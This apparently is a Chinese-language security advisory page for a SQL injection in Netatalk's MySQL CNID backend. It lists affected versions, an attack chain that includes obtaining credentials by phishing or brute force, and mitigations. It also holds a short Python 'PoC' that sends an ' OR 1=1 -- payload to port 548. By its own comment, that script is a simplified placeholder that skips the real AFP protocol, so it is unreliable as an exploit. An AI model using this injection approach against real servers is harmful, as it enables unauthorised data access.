IPBUF安全漏洞报告
English
CVE-2026-44047 CVSS 8.8 高危

CVE-2026-44047 Netatalk MySQL CNID后端SQL注入

披露日期: 2026-05-21
来源: 33c584b5-0579-4c06-b2a0-8d8329fcab9c

漏洞信息

漏洞编号
CVE-2026-44047
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Netatalk

相关标签

SQL注入Netatalk高危远程代码执行数据泄露

漏洞概述

Netatalk 3.1.0至4.4.2版本的MySQL CNID后端存在SQL注入漏洞。远程经过身份验证的攻击者可利用该漏洞获取未授权数据访问、修改数据或导致拒绝服务。

技术细节

漏洞源于Netatalk在使用MySQL作为CNID后端时,未能正确处理用户输入,导致SQL注入。攻击者需具备低权限账户(PR:L)。通过构造特定的恶意SQL语句注入到查询中,攻击者可绕过数据库安全机制。成功利用后,攻击者能够读取敏感数据、篡改数据库内容,或通过消耗系统资源导致服务不可用。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出运行Netatalk服务的目标,并确认其版本在受影响范围内(3.1.0 - 4.4.2)。
STEP 2
2. 获取凭证
由于漏洞需要低权限认证(PR:L),攻击者通过暴力破解、钓鱼或其他手段获取有效的Netatalk用户凭证。
STEP 3
3. 漏洞利用
攻击者使用获取的凭证建立连接,并向MySQL CNID后端发送特制的恶意SQL注入载荷。
STEP 4
4. 执行攻击
后端数据库执行恶意的SQL命令,导致数据泄露、数据被修改或数据库服务崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-44047 # This script demonstrates how an authenticated attacker might trigger the SQLi. import socket def exploit_sql_injection(target_ip, port, payload): """ Sends a malicious payload to the Netatalk MySQL CNID backend. Note: This requires a valid authenticated session. """ # Example payload to test SQL injection sqli_payload = f"' OR 1=1 -- {payload}" try: # Connect to the AFP service (usually port 548) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) # Simulate sending a command that includes the CNID lookup # In a real scenario, this would involve AFP protocol specifics request = f"GET_CNID {sqli_payload}" sock.send(request.encode()) response = sock.recv(1024) print(f"Server response: {response.decode()}") sock.close() except Exception as e: print(f"Error: {e}") # Usage # exploit_sql_injection("192.168.1.10", 548, "test")

影响范围

Netatalk 3.1.0
Netatalk 3.1.1
Netatalk 3.1.2
Netatalk 3.1.3
Netatalk 3.1.4
Netatalk 3.1.5
Netatalk 3.1.6
Netatalk 3.1.7
Netatalk 3.1.8
Netatalk 3.1.9
Netatalk 3.1.10
Netatalk 3.1.11
Netatalk 3.1.12
Netatalk 3.1.13
Netatalk 3.1.14
Netatalk 3.1.15
Netatalk 3.1.16
Netatalk 3.1.17
Netatalk 3.1.18
Netatalk 4.0.0
Netatalk 4.0.1
Netatalk 4.0.2
Netatalk 4.0.3
Netatalk 4.0.4
Netatalk 4.0.5
Netatalk 4.0.6
Netatalk 4.0.7
Netatalk 4.0.8
Netatalk 4.0.9
Netatalk 4.0.10
Netatalk 4.0.11
Netatalk 4.0.12
Netatalk 4.0.13
Netatalk 4.0.14
Netatalk 4.0.15
Netatalk 4.0.16
Netatalk 4.0.17
Netatalk 4.0.18
Netatalk 4.0.19
Netatalk 4.0.20
Netatalk 4.0.21
Netatalk 4.1.0
Netatalk 4.1.1
Netatalk 4.1.2
Netatalk 4.1.3
Netatalk 4.1.4
Netatalk 4.1.5
Netatalk 4.1.6
Netatalk 4.1.7
Netatalk 4.1.8
Netatalk 4.1.9
Netatalk 4.1.10
Netatalk 4.1.11
Netatalk 4.1.12
Netatalk 4.1.13
Netatalk 4.1.14
Netatalk 4.1.15
Netatalk 4.1.16
Netatalk 4.1.17
Netatalk 4.1.18
Netatalk 4.1.19
Netatalk 4.1.20
Netatalk 4.2.0
Netatalk 4.2.1
Netatalk 4.2.2
Netatalk 4.2.3
Netatalk 4.2.4
Netatalk 4.2.5
Netatalk 4.2.6
Netatalk 4.2.7
Netatalk 4.2.8
Netatalk 4.2.9
Netatalk 4.2.10
Netatalk 4.2.11
Netatalk 4.2.12
Netatalk 4.2.13
Netatalk 4.2.14
Netatalk 4.2.15
Netatalk 4.2.16
Netatalk 4.2.17
Netatalk 4.2.18
Netatalk 4.2.19
Netatalk 4.2.20
Netatalk 4.3.0
Netatalk 4.3.1
Netatalk 4.3.2
Netatalk 4.3.3
Netatalk 4.3.4
Netatalk 4.3.5
Netatalk 4.3.6
Netatalk 4.3.7
Netatalk 4.3.8
Netatalk 4.3.9
Netatalk 4.3.10
Netatalk 4.3.11
Netatalk 4.3.12
Netatalk 4.3.13
Netatalk 4.3.14
Netatalk 4.3.15
Netatalk 4.3.16
Netatalk 4.3.17
Netatalk 4.3.18
Netatalk 4.3.19
Netatalk 4.3.20
Netatalk 4.4.0
Netatalk 4.4.1
Netatalk 4.4.2

防御指南

临时缓解措施
如无法立即升级,建议在网络层面隔离Netatalk服务,仅允许可信IP访问。同时,检查并加固后端MySQL数据库的配置,移除不必要的敏感数据访问权限,并监控异常的数据库查询活动。

参考链接

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